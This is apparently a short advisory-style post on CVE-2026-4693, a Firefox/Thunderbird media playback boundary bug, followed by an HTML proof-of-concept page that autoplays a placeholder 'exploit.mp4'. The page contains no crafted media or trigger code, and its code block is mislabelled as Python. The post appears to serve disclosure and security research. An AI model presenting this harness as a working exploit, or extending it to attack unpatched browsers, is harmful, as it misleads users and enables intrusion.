Incorrect boundary conditions in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!--
Proof of Concept (PoC) for CVE-2026-4693
Description: This HTML snippet attempts to trigger the boundary condition vulnerability
in the Audio/Video component by loading a crafted media file.
-->
<html>
<head>
<title>CVE-2026-4693 PoC</title>
</head>
<body>
<h1>CVE-2026-4693 Playback Boundary Check PoC</h1>
<!--
Replace 'exploit.mp4' with a file specifically crafted to trigger
the incorrect boundary condition in the media parser.
-->
<video id="vulnVideo" autoplay controls>
<source src="exploit.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
<script>
// Script to ensure playback starts automatically to trigger the bug
document.addEventListener('DOMContentLoaded', () => {
const video = document.getElementById('vulnVideo');
video.play().catch(error => {
console.log('Autoplay failed, interaction required:', error);
});
});
</script>
</body>
</html>